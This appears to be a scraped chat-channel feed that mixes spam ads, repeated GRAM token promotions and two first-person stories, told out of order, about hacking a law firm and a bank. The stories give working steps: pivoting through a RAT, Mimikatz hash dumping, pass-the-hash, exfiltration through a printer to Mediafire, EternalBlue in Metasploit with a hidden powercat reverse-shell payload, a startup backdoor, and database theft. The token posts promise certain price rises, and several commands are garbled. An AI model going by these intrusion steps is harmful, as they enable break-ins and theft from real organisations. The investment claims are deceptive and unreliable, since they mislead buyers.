Tech Byte™

This month Paypal loadings with Rosho. Come up @anonyguy

Hey bro! can you Edit again?))) Investors voted against returning up to 77% of their initial investment. In both of the rounds of ICO, they voted to transfer the TON network until April 30, while retaining their initial investment in the project. What does this mean for the market? Before the current launch date, the price of the token in the secondary market soared up to $ 3.5! And this is just the beginning - every day the price is only growing! Do not miss your chance! How to buy a Gram? (Spoiler - no way) You can already acquire the right to own a token today in the OTC market from investors of the first rounds! In mid-October, https://bitrexchange.com/gram launched the sale of Gram tokens of the acclaimed and hotly anticipated TON project. Bitrex customers have a unique opportunity to buy GRAM tokens before anyone else, even before the official launch of the platform. And this means to be an opportunity to get an asset at a more attractive price.

Investors voted against returning up to 77% of their initial investment. Of both rounds of ICOs, they voted to transfer the TON network until April 30, while retaining their initial investment in the project. What does this mean for the market? Before the current launch date, in just a week, the price of the token in the secondary market soared to $ 3.5 - this is similar to the Bitcoin rally in 2017, with the only difference being that today you know for sure that the asset will rise in price tomorrow How to buy a gram? (Spoiler - no way) You can already today acquire the right to own a token in the OTC market from investors of the first rounds! In mid-October, https://bitrexchange.com/gram launched the sale of Gram tokens of the acclaimed and hotly anticipated TON project. Bitrex customers have a unique opportunity to buy GRAM tokens before anyone else, even before the official launch of the platform. And this means the opportunity to get an asset at a more attractive price.

Investors voted against returning up to 77% of their initial investment. Of both rounds of ICOs, they voted to transfer the TON network until April 30, while retaining their initial investment in the project. What does this mean for the market? Before the current launch date, in just a week, the price of the token in the secondary market soared to $ 3.5 - this is similar to the Bitcoin rally in 2017, with the only difference being that today you know for sure that the asset will rise in price tomorrow How to buy a gram? (Spoiler - no way) You can already today acquire the right to own a token in the OTC market from investors of the first rounds! In mid-October, https://bitrexchange.com launched the sale of Gram tokens of the acclaimed and hotly anticipated TON project. Bitrex customers have a unique opportunity to buy GRAM tokens before anyone else, even before the official launch of the platform. And this means the opportunity to get an asset at a more attractive price.

@RLgames Are you a video gamer? Or just a game lover? Good, because this channel offers you everything you need to curb your gaming fetish. Join now and get all kinds of games ranging from Android to PC to handheld consoles – all for free. ▶️Click here to Join◀️

the printer, and the printer uploads it?" on IRC. That may work she said "lets try it. But remember no messing up. This could be our one and only chance in the network so don't get caught". Ah words of inspiration. Like music to my ears ;) **************** Hacking the printer This was the easiest part since a printer is an iot (internet of things) device. As usual the user and pass were "admin". I don't know why these manufactures would make a device with ssh and make the password something so easy. Anyways back to my hack. With a quick powershell script which logged onto a mediafire account and attempted to upload the stolen data, the printer was once again used as a proxy. To someone reading the network it looks like the win server machine is printing a huge document. The printer is however relaying all that data and uploading it to mediafire. After three hours, all was done. The rest on the team congratulated raven and I for a job well done. *************** I also had my thrills From lulz of course Infact apart from it being for experience to become better at what I do lulz is next Well time for me to put my head down for refreshing sleep so I can wake up at dawn ;) #for_teh_lulz

from Jhon THE LAW FIRM HACK So I got called up on IRC (the "group" I now belong to :) ) about a hack. What we had to do was simple. A lawyer had been hacked. They were able to get a Trojan on the guys pc. All we now had to do was to pivot from his machine to access the rest of the network. Just as a test, I was to work on this with another girl(or guy?) called raven. We had to dump all the data on their server and upload it to mediafire where the rest of the team could download it. I was curious as to how they were able to get the rat on the lawyers pc but well, these guys never tell. I scaned the network but nothing! All the packets were dropped by the firewall. It looked like the firewall blocks incoming connections and only allows out going connection. In simple terms its like a phone that can only be used to make a call. That's why me scanning didn't work. Raven said the rat had socks capabilities and all I had to do was to wait for her to configure the rat to open a "reverse socks proxy" to my pc. I'm sure you have heard of a socks proxy.A proxy is software that allows you to browse the net using another pcs identity. Criminals use it to hide when doing illegal stuff on the net. A reverse proxy is a proxy that connects to you instead of waiting for you to connect to it. So in my case i started using the identity of the first hacked machine This machine was already instde the network so all i had to do was to configure proxychains (an app for linux that allows you to use many proxies at a time to beore secure) to add that machine to my list of proxies. Remember the machine is now my proxy so anything I do, it will look as if that machine is the one doing it Then i used nmap to scan its subnet (the network the machine is in) and noticed something unusual Right in the scan results a printer was running. I guess that's what they use to print their law stuff but that was still something that wasn't just exposed to the net. Raven told me when she was given access to the rat, she realised that the pc was logging all the IP addresses it connected to. That was a smart move by the sys admin so that in case of a hack, they could trace it back. But these guys are so damn smart that they use the online azure cloud. This is like a vm but online! Azure, I think belongs to Microsoft so even if the IP address is looked up, it will look as if the windows pc is just connecting to its mother (Microsoft) sub domain. The nmap scan had showed us where the main server was. But we now needed to somehow connected to it. I know you guys will probably say "Lets use eternal blue man" But eternal blue doesn't work on windows10 or the latest version of Windows server. This time we had to do something "legit" *********************" Mimikatz Mimikatz is a tool written by @gentil_kiwi that is used to recover windows passwords and hashes Following the large use of mimikatz, Microsoft made win8.1 and 10 stop keeping clear text passwords in memory. Thus just means that we can only use it to get the passwords of win7 and 8. But we can still get the hashes! Mimikatz can be downloaded as an exe or a powershell script. Well, I chose the powershell script. Then from remote scripting within the app, I run . powershell.exe -nop -exec bypass . And got a powershell prompt I then uploaded an run mimikatz Using . lsadump::hashes . I got the hashes to the system My old readers will know if a "pass the hash" attack where an attacker doesn't need your password to connect to your pc. I Used this same attack in mimikatz to connect to that windowsserver infecting it too with a rat. *********************** The goods Powershell can zip stuff up like folders etc. So we used that to compress everything into one big file. The problem now was that if we tried to steal all that data directly from the pc, the heavy traffic will congest the network and we would get caught. What we needed was an efficient way to pass all that data out an make it look "legit" Then just like a flash, I said "to raven, what if we use the printer to exfil the data. The server sends the data to

Are you on shoppy.gg? Come on for great deal. × It's not for New shoppy.gg members! @anonyguy

come up with something. . > search eternal > use exploit/smb/eternalblue (exploit/smb/eternalblue)> show options (exploit/smb/eternalblue/)> set rhosts 192.168.20.45 (exploit/smb/eternalblue) > set command "powershell -ep bypass -w hidden -encodedcommamd ..." (exploit/smb/eternalblue) > exploit . If you look closely you'll see me setting the IP address of that windows 7 machine (it ends in 45) and setting the command it should run to powershell in a hidden window so that the person behind that pc doesn't see what's going on. The encoded command was a base64 powercat payload (powercat is netcat written in jacks favourite powershell) All that while a listener was waiting on my machine And again I got a connection from the windows 7 machine. Now however two things ran through my mind. My first prayer was that my mom shouldn't leave the premises before I finished the hack else I would lose the connection the next was that if the windows 7 machine got rebooted, I will have to start again So just to make sure I run the command . cmd.exe /k tasklist . To see what software was currently running. If something like chrome was running I would know the person was online etc. What I saw startled me. I started seeing things like php, MySQL and the other stuff you programmers use. Hm, what's all this fuss about? Could there be a database? So I run a command to search for databases . cmd.exe /k "dir /s *.db C:" . This is supposed to search the c drive which is the hard disk for files that end in .db which is commonly what database files end with. And I got results like pensioners.db and accounts.db which are the database files for the pensioners and the accounts in the bank. Now before any stroke of bad luck got me, I set the bitsadmin tool to upload it to a server where I can download it from the internet in casey mom left the bank or worse, it will still keep uploading. After this, I would have the accounts, usernames and everyone in the bank and now I was in the bank, I could add myself as anyone with any amount of money and withdraw it anytime as long as the hard disk said I had an account in the bank. Now for the favourite part, I put the powercat backdoor payload in the startup folder so that anytime the pc was started I would have access. It regularly checks the IP address of my dynamic DNS hostname to see where it should connect to. Whatever I did to that machine after that is nobody's business Don't ask me about any money etc I will deny it :) 4 hours later and my mom was still not back. Then I started thinking: what if they caught her? What if they were watching my every move? After a few minutes I heard a knock on the door and it was so firm that I asked myself again: . What if...she is :O with the police? . . Analysis As we saw, the windows7 machine was no ordinary pc. In fact it was a server. But one may ask "why is all the other pcs running win10 and the main admin is running win 7?". The reason is because perhaps not all of the apps like the php MySQL etc was able to run on windows10 By default win7 is able to run most windows software so the IT admin thought it was to keep using win7 so that the system could still be stable without crashing after upgrading to a new os. Yet still he/she should have updated regularly to patch eternal blue That's all I have for you guys and if I was absent during the past weeks, this is the story. And there you have it folks my full confession. . . Keep coming back for more stories And remember we do it #for_the_children #for_teh_lulz #occupy_the_web

HOW I HACKED INTO A BANK By jhonny Back again my people. This time I talk about how I HACKED INTO a bank. First of all banks have very secure networks so its not easy to just hack them. Secondly what inspired this hack was from a movie I had watched. The concept of using proxies and pivoting is also discussed here. ************** My mom had set out to the bank that morning and I knew she would be there. I had always wanted to hack into a bank just for the thrill of it mainly cos all my past hacks had to do with internet cafes and scammers etc. but this time a bank? Yep! That was my next target on the list. My phone run the arm version of Kali nethunter, a popular Android based Kali Linux operating system with all the hacking tools one would need. . . KRACK I came across krack a while back in 2017. The key reinstallation attack or simply krack. This was the latest exploit at that time that allowed you to connect to any WiFi network without a password. You can check it out on Google if you like. So I just went to github to grab poc code and modified it then I compiled it. I wrote a bash script in my phone to keep connecting to any WiFi networks it found and because of the crack exploit it wouldn't need a password. What I wanted to achieve was to get an IP address on the network which I could use to attack the other machines. . . THE HACK Early that morning, I put my phone on and connected it with a powerbank( I didn't want a low battery to stop my precious hack) and dropped it inside her bag just before she left. Once she got to the bank, the phone should connect to the WiFi network and immediately send back a connection to my machine at home. I had already placed the scripts there along with my IP address which it should connect to. I did this by using the ssh application to create a reverse socks proxy on my phone which will connect to my pc anytime it had a connection (just like a backdoor). So she left the house and 1hr, 2hrs still no connection. What could be wrong? I thought of calling her yet I simply discarded the idea. If this hack goes through I could be a millionaire or maybe one of the richest men in Africa since that Nigerian guy took first place for over 10yrs now. I got up to go get my special bread with butter and when I got back, a prompt was waiting for me! I just threw the bread somewhere and rushed behind my pc. I was inside the network. All I could think of was "well, halo you've only got one shot at this. And if you waste it, you can at anytime male money disappear in the house so your mom goes to the bank again" ;) . . FINDING THE TARGETS All my students should know this: First things you do in a hack is a ping sweep or portscan. And here nmap was there to help . nmafor92.168.0.0/16 -A -O . Here is what the command means Nmap is the name of the app that we are using to scan the network 192.168.0.0/16 is the cidr of the network we are scanning The IP addresses in a WiFi network always begins with 192.168 so that's why we are starting from 0.0 to 255.255 which is what the /16 stands for -A tells nmap to detect the versions of the software it finds and finally -O tells nmap to give us the name of the operating system of all the users . Scanning through the output I realised a lot of the machines in the network were windows 10. This wasn't really good news. The fact that I was in a network meant that I could get into any machine if only I had the admin username and password. This was getting tough. I didn't know what to do. I kept scrolling up through the output trying to find another target when a windows7 machine in the list caught my attention. As many of you may already know, windows 7 is one of my favourite when hacking because of the fact that it has an RCE bug (remote code execution) called eternal blue that allows you to hack the machine without needing prior authorization Now all I had to do was to pray that it works. Then I started metasploit using the command . msfconsole . Within a few seconds, there was the metasploit splash screen. I don't really remember what I typed but I'll try to

Doing Paid Facebook Promotion For Ethiopians Only! @anonyguy

Porsche just unveiled the new all-electric Taycan. Starting at $152,250, it's a fuckin' expensive Tesla alternative.

anyone want buy bitcoin for ETB? inbox me @anonyguy

any freelancer here ? IB me @anonyguy

Google gets rids of Android version codenames. Android Q is now officially Android 10

selling psn gift cards all worth $3 selling them for $1.7